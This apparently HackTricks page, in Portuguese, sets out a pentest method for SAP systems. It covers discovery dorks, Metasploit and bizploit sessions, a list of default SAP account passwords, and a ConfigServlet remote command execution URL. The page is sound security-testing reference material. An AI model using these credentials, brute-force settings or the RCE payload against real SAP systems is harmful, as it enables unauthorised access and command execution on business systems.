# Introdução sobre SAP SAP significa Sistemas, Aplicativos e Produtos para Processamento de Dados. SAP, por definição, é também o nome do software ERP (Planejamento de Recursos Empresariais) e o nome da empresa. O sistema SAP consiste em vários módulos totalmente integrados, que cobrem praticamente todos os aspectos da gestão empresarial. Cada instância SAP (ou SID) é composta por três camadas: banco de dados, aplicação e apresentação, cada paisagem geralmente consiste em quatro instâncias: dev, test, QA e produção. Cada uma das camadas pode ser explorada em certa medida, mas o maior efeito pode ser obtido **atacando o banco de dados**. Cada instância SAP é dividida em clientes. Cada um tem um usuário SAP\*, o equivalente do "root" da aplicação. Ao ser criado inicialmente, este usuário SAP\* recebe uma senha padrão: "060719992" (mais senhas padrão abaixo). Você ficaria surpreso se soubesse com que frequência essas **senhas não são alteradas em ambientes de teste ou desenvolvimento**! Tente obter acesso ao shell de qualquer servidor usando o nome de usuário <SID>adm. A força bruta pode ajudar, no entanto, pode haver um mecanismo de bloqueio de conta. # Descoberta > A próxima seção é principalmente do usuário shipcod3 em [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)! * Verifique o Escopo da Aplicação ou o Resumo do Programa para testes. Anote os nomes de host ou instâncias do sistema para se conectar ao SAP GUI. * Use OSINT (inteligência de fontes abertas), Shodan e Google Dorks para verificar arquivos, subdomínios e informações valiosas se a aplicação estiver voltada para a Internet ou for pública: ```text inurl:50000/irj/portal inurl:IciEventService/IciEventConf inurl:/wsnavigator/jsps/test.jsp inurl:/irj/go/km/docs/ https://www.shodan.io/search?query=sap+portal https://www.shodan.io/search?query=SAP+Netweaver https://www.shodan.io/search?query=SAP+J2EE+Engine ``` * Aqui está como [http://SAP:50000/irj/portal](http://sap:50000/irj/portal) se parece ![Tela de login do SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap%20logon.jpeg) * Use o nmap para verificar as portas abertas e os serviços conhecidos \(roteadores sap, webdnypro, serviços web, servidores web, etc.\) * Rastreie as URLs se houver um servidor web em execução. * Fuzz os diretórios \(você pode usar o Burp Intruder\) se tiver servidores web em determinadas portas. Aqui estão algumas boas listas de palavras fornecidas pelo Projeto SecLists para encontrar Caminhos SAP ICM padrão e outros diretórios ou arquivos interessantes: [https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls\_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt) [https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt) [https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt) * Use o módulo auxiliar SAP SERVICE DISCOVERY do Metasploit para enumerar instâncias/serviços/componentes SAP: ```text msf > use auxiliary/scanner/sap/sap_service_discovery msf auxiliary(sap_service_discovery) > show options Module options (auxiliary/scanner/sap/sap_service_discovery): Name Current Setting Required Description ---- --------------- -------- ----------- CONCURRENCY 10 yes The number of concurrent ports to check per host INSTANCES 00-01 yes Instance numbers to scan (e.g. 00-05,00-99) RHOSTS yes The target address range or CIDR identifier THREADS 1 yes The number of concurrent threads TIMEOUT 1000 yes The socket connect timeout in milliseconds msf auxiliary(sap_service_discovery) > set rhosts 192.168.96.101 rhosts => 192.168.96.101 msf auxiliary(sap_service_discovery) > run [*] 192.168.96.101: - [SAP] Beginning service Discovery '192.168.96.101' ``` ## Testando o Cliente Pesado / SAP GUI Aqui está o comando para se conectar ao SAP GUI `sapgui ` * Verifique as credenciais padrão \(Na Taxonomia de Classificação de Vulnerabilidades da Bugcrowd, isso é considerado como P1 -> Configuração de Segurança do Servidor \| Usando Credenciais Padrão \| Servidor de Produção\): ```text # SAP* - High privileges - Hardcoded kernel user SAP*:06071992:* SAP*:PASS:* # IDEADM - High Privileges - Only in IDES systems IDEADM:admin:* # DDIC - High privileges - User has SAP_ALL DDIC:19920706:000,001 # EARLYWATCH - High privileges EARLYWATCH:SUPPORT:066 # TMSADM - Medium privileges TMSADM:PASSWORD:000 TMSADM:$1Pawd2&:000 # SAPCPIC - Medium privileges SAPCPIC:ADMIN:000,001 # SOLMAN dialog default users and passwords. # For more info check: # https://www.troopers.de/media/filer_public/37/34/3734ebb3-989c-4750-9d48-ea478674991a/an_easy_way_into_your_sap_systems_v30.pdf # https://launchpad.support.sap.com/#/notes/2293011 # SOLMAN_ADMIN - High privileges - Only on SOLMAN systems SOLMAN_ADMIN:init1234:* # SAPSUPPORT - High privileges - Only on SOLMAN or satellite systems SAPSUPPORT:init1234:* # SOLMAN - High privileges - Only on SOLMAN systems #SOLMAN:init1234:* # Trial systems # ------------- # AS ABAP 7.40 SP08 Developer Edition: # https://blogs.sap.com/2015/10/14/sap-netweaver-as-abap-740-sp8-developer-edition-to-download-consise-installation-instruction/ DDIC:DidNPLpw2014:001 SAP*:DidNPLpw2014:001 DEVELOPER:abCd1234:001 BWDEVELOPER:abCd1234:001 # AS ABAP 7.50 SP02 Developer Edition: # https://blogs.sap.com/2016/11/03/sap-nw-as-abap-7.50-sp2-developer-edition-to-download-consise-installation-guide/ # AS ABAP 7.51 SP02 Developer Edition: # https://blogs.sap.com/2017/09/04/sap-as-abap-7.51-sp2-developer-edition-to-download-concise-installation-guide/ DDIC:Appl1ance:000,001 SAP*:Appl1ance:000,001 DEVELOPER:Appl1ance:001 BWDEVELOPER:Appl1ance:001 # AS ABAP 7.51 SP01 Developer Edition: # https://blogs.sap.com/2018/09/13/as-abap-7.52-sp01-developer-edition-concise-installation-guide/ # AS ABAP 7.52 SP04 Developer Edition: # https://blogs.sap.com/2019/10/01/as-abap-7.52-sp04-developer-edition-concise-installation-guide/ DDIC:Down1oad:000,001 SAP*:Down1oad:000,001 DEVELOPER:Down1oad:001 BWDEVELOPER:Down1oad:001 ``` * Execute o Wireshark e autentique-se no cliente (SAP GUI) usando as credenciais que você obteve, pois alguns clientes transmitem credenciais sem SSL. Existem dois plugins conhecidos para o Wireshark que podem analisar os cabeçalhos principais usados pelo protocolo SAP DIAG: o plug-in de dissecação SAP SecureAuth Labs e o plug-in SAP DIAG do Positive Research Center. * Verifique se há escalonamentos de privilégios, como o uso de alguns códigos de transação SAP (tcodes) para usuários de baixo privilégio: * SU01 - Para criar e manter usuários * SU01D - Para exibir usuários * SU10 - Para manutenção em massa * SU02 - Para criação manual de perfis * SM19 - Auditoria de segurança - configuração * SE84 - Sistema de informação para autorizações SAP R/3 * Verifique se você pode executar comandos do sistema / executar scripts no cliente. * Verifique se você pode fazer XSS no BAPI Explorer. # Testando a interface web * Rastreie os URLs (consulte a fase de descoberta). * Fuzz os URLs como na fase de descoberta. Aqui está como [http://SAP:50000/index.html](http://sap:50000/index.html) se parece: ![Página de índice do SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/index.jpeg) * Procure por vulnerabilidades comuns na web (consulte o OWASP Top 10), pois existem vulnerabilidades XSS, RCE, XXE, etc. em alguns lugares. * Confira a metodologia de caça a bugs de Jason Haddix [“The Bug Hunters Methodology”](https://github.com/jhaddix/tbhm) para testar vulnerabilidades na web. * Autenticação Bypass via verb Tampering? Talvez :\) * Abra `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#` e clique no botão “Escolher” e, em seguida, na janela aberta, pressione “Pesquisar”. Você deve ser capaz de ver uma lista de usuários SAP (Referência de vulnerabilidade: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/)) * As credenciais são enviadas por HTTP? Se sim, é considerado como P3 com base na Taxonomia de Classificação de Vulnerabilidades da Bugcrowd: Autenticação Quebrada e Gerenciamento de Sessão \| Função de Login Fraca Sobre HTTP. Dica: Confira também [http://SAP:50000/startPage](http://sap:50000/startPage) ou os portais de login :\) ![Página inicial do SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg) * Tente `/irj/go/km/navigation/` para possível listagem de diretórios ou bypass de autenticação. * [http://SAP/sap/public/info](http://sap/sap/public/info) contém algumas informações interessantes: ```xml 011 4102 BIG IE3 randomnum randomnum BRQ BRQ randomnum ORACLE 740 324 AIX -25200 192.168.1.8 749 randomnum 192.168.1.8 ``` # Ataque! * Verifique se ele é executado em servidores ou tecnologias antigas como o Windows 2000. * Planeje os possíveis exploits / ataques, existem muitos módulos Metasploit para descoberta de SAP (módulos auxiliares) e exploits: ```text msf > search sap Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- auxiliary/admin/maxdb/maxdb_cons_exec 2008-01-09 normal SAP MaxDB cons.exe Remote Command Injection auxiliary/admin/sap/sap_configservlet_exec_noauth 2012-11-01 normal SAP ConfigServlet OS Command Execution auxiliary/admin/sap/sap_mgmt_con_osexec normal SAP Management Console OSExecute auxiliary/dos/sap/sap_soap_rfc_eps_delete_file normal SAP SOAP EPS_DELETE_FILE File Deletion auxiliary/dos/windows/http/pi3web_isapi 2008-11-13 normal Pi3Web ISAPI DoS auxiliary/dos/windows/llmnr/ms11_030_dnsapi 2011-04-12 normal Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS auxiliary/scanner/http/sap_businessobjects_user_brute normal SAP BusinessObjects User Bruteforcer auxiliary/scanner/http/sap_businessobjects_user_brute_web normal SAP BusinessObjects Web User Bruteforcer auxiliary/scanner/http/sap_businessobjects_user_enum normal SAP BusinessObjects User Enumeration auxiliary/scanner/http/sap_businessobjects_version_enum normal SAP BusinessObjects Version Detection auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt normal SAP CTC Service Verb Tampering User Management auxiliary/scanner/sap/sap_hostctrl_getcomputersystem normal SAP Host Agent Information Disclosure auxiliary/scanner/sap/sap_icf_public_info normal SAP ICF /sap/public/info Service Sensitive Information Gathering auxiliary/scanner/sap/sap_icm_urlscan normal SAP URL Scanner auxiliary/scanner/sap/sap_mgmt_con_abaplog normal SAP Management Console ABAP Syslog Disclosure auxiliary/scanner/sap/sap_mgmt_con_brute_login normal SAP Management Console Brute Force auxiliary/scanner/sap/sap_mgmt_con_extractusers normal SAP Management Console Extract Users auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints normal SAP Management Console Get Access Points auxiliary/scanner/sap/sap_mgmt_con_getenv normal SAP Management Console getEnvironment auxiliary/scanner/sap/sap_mgmt_con_getlogfiles normal SAP Management Console Get Logfile auxiliary/scanner/sap/sap_mgmt_con_getprocesslist normal SAP Management Console GetProcessList auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter normal SAP Management Console Get Process Parameters auxiliary/scanner/sap/sap_mgmt_con_instanceproperties normal SAP Management Console Instance Properties auxiliary/scanner/sap/sap_mgmt_con_listlogfiles normal SAP Management Console List Logfiles auxiliary/scanner/sap/sap_mgmt_con_startprofile normal SAP Management Console getStartProfile auxiliary/scanner/sap/sap_mgmt_con_version normal SAP Management Console Version Detection auxiliary/scanner/sap/sap_router_info_request normal SAPRouter Admin Request auxiliary/scanner/sap/sap_router_portscanner normal SAPRouter Port Scanner auxiliary/scanner/sap/sap_service_discovery normal SAP Service Discovery auxiliary/scanner/sap/sap_smb_relay normal SAP SMB Relay Abuse auxiliary/scanner/sap/sap_soap_bapi_user_create1 normal SAP /sap/bc/soap/rfc SOAP Service BAPI_USER_CREATE1 Function User Creation auxiliary/scanner/sap/sap_soap_rfc_brute_login normal SAP SOAP Service RFC_PING Login Brute Forcer auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Injection auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing normal SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Directories Information Disclosure auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence normal SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check auxiliary/scanner/sap/sap_soap_rfc_ping normal SAP /sap/bc/soap/rfc SOAP Service RFC_PING Function Service Discovery auxiliary/scanner/sap/sap_soap_rfc_read_table normal SAP /sap/bc/soap/rfc SOAP Service RFC_READ_TABLE Function Dump Data auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir normal SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface normal SAP /sap/bc/soap/rfc SOAP Service SUSR_RFC_USER_INTERFACE Function User Creation auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Execution auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec normal SAP SOAP RFC SXPG_COMMAND_EXECUTE auxiliary/scanner/sap/sap_soap_rfc_system_info normal SAP /sap/bc/soap/rfc SOAP Service RFC_SYSTEM_INFO Function Sensitive Information Gathering auxiliary/scanner/sap/sap_soap_th_saprel_disclosure normal SAP /sap/bc/soap/rfc SOAP Service TH_SAPREL Function Information Disclosure auxiliary/scanner/sap/sap_web_gui_brute_login normal SAP Web GUI Login Brute Forcer exploit/multi/sap/sap_mgmt_con_osexec_payload 2011-03-08 excellent SAP Management Console OSExecute Payload Execution exploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec 2013-03-26 great SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution exploit/multi/sap/sap_soap_rfc_sxpg_command_exec 2012-05-08 great SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution exploit/windows/browser/enjoysapgui_comp_download 2009-04-15 excellent EnjoySAP SAP GUI ActiveX Control Arbitrary File Download exploit/windows/browser/enjoysapgui_preparetoposthtml 2007-07-05 normal EnjoySAP SAP GUI ActiveX Control Buffer Overflow exploit/windows/browser/sapgui_saveviewtosessionfile 2009-03-31 normal SAP AG SAPgui EAI WebViewer3D Buffer Overflow exploit/windows/http/sap_configservlet_exec_noauth 2012-11-01 great SAP ConfigServlet Remote Code Execution exploit/windows/http/sap_host_control_cmd_exec 2012-08-14 average SAP NetWeaver HostControl Command Injection exploit/windows/http/sapdb_webtools 2007-07-05 great SAP DB 7.4 WebTools Buffer Overflow exploit/windows/lpd/saplpd 2008-02-04 good SAP SAPLPD 6.28 Buffer Overflow exploit/windows/misc/sap_2005_license 2009-08-01 great SAP Business One License Manager 2005 Buffer Overflow exploit/windows/misc/sap_netweaver_dispatcher 2012-05-08 normal SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow ``` * Tente usar alguns exploits conhecidos (verifique o Exploit-DB) ou ataques como o antigo, mas bom "SAP ConfigServlet Remote Code Execution" no Portal SAP: ```text http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a ``` ![SAP Config Servlet RCE](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap_rce.jpeg) * Antes de executar o comando `start` no script bizploit na fase de Descoberta, você também pode adicionar o seguinte para realizar a avaliação de vulnerabilidades: ```text bizploit> plugins bizploit/plugins> vulnassess all bizploit/plugins> vulnassess config bruteLogin bizploit/plugins/vulnassess/config:bruteLogin> set type defaultUsers bizploit/plugins/vulnassess/config:bruteLogin> set tryHardcodedSAPStar True bizploit/plugins/vulnassess/config:bruteLogin> set tryUserAsPwd True bizploit/plugins/vulnassess/config:bruteLogin> back bizploit/plugins> vulnassess config registerExtServer bizploit/plugins/vulnassess/config:registerExtServer> set tpname evilgw bizploit/plugins/vulnassess/config:registerExtServer> back bizploit/plugins> vulnassess config checkRFCPrivs bizploit/plugins/vulnassess/config:checkRFCPrivs> set checkExtOSCommands True bizploit/plugins/vulnassess/config:checkRFCPrivs> back bizploit/plugins> vulnassess config icmAdmin bizploit/plugins/vulnassess/config:icmAdmin> set adminURL /sap/admin bizploit/plugins/vulnassess/config:icmAdmin> back bizploit/plugins> start bizploit/plugins> back bizploit> start ``` # Outras ferramentas úteis para testes * [PowerSAP](https://github.com/airbus-seclab/powersap) - Ferramenta Powershell para avaliar a segurança do SAP * [Burp Suite](https://portswigger.net/burp) - um must-have para fuzzing de diretórios e avaliações de segurança web * [pysap](https://github.com/SecureAuthCorp/pysap) - Biblioteca Python para criar pacotes de protocolo de rede SAP * [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - Ajuda o nmap a detectar SAP/ERP # Referências * [Teste de penetração SAP usando Metasploit](http://information.rapid7.com/rs/rapid7/images/SAP%20Penetration%20Testing%20Using%20Metasploit%20Final.pdf) * [https://github.com/davehardy20/SAP-Stuff](https://github.com/davehardy20/SAP-Stuff) - um script para semi-automatizar o Bizploit * [Configuração de segurança SAP NetWeaver ABAP parte 3: Senhas padrão para acesso à aplicação](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/) * [Lista de códigos de transação ABAP relacionados à segurança SAP](https://wiki.scn.sap.com/wiki/display/Security/List+of+ABAP-transaction+codes+related+to+SAP+security) * [Quebrando o Portal SAP](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf) * [10 vulnerabilidades e ataques mais interessantes do SAP](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf) * [Avaliando a segurança dos ecossistemas SAP com bizploit: Descoberta](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery) * [https://www.exploit-db.com/docs/43859](https://www.exploit-db.com/docs/43859) * [https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/) * [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! - Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) - Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) - **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.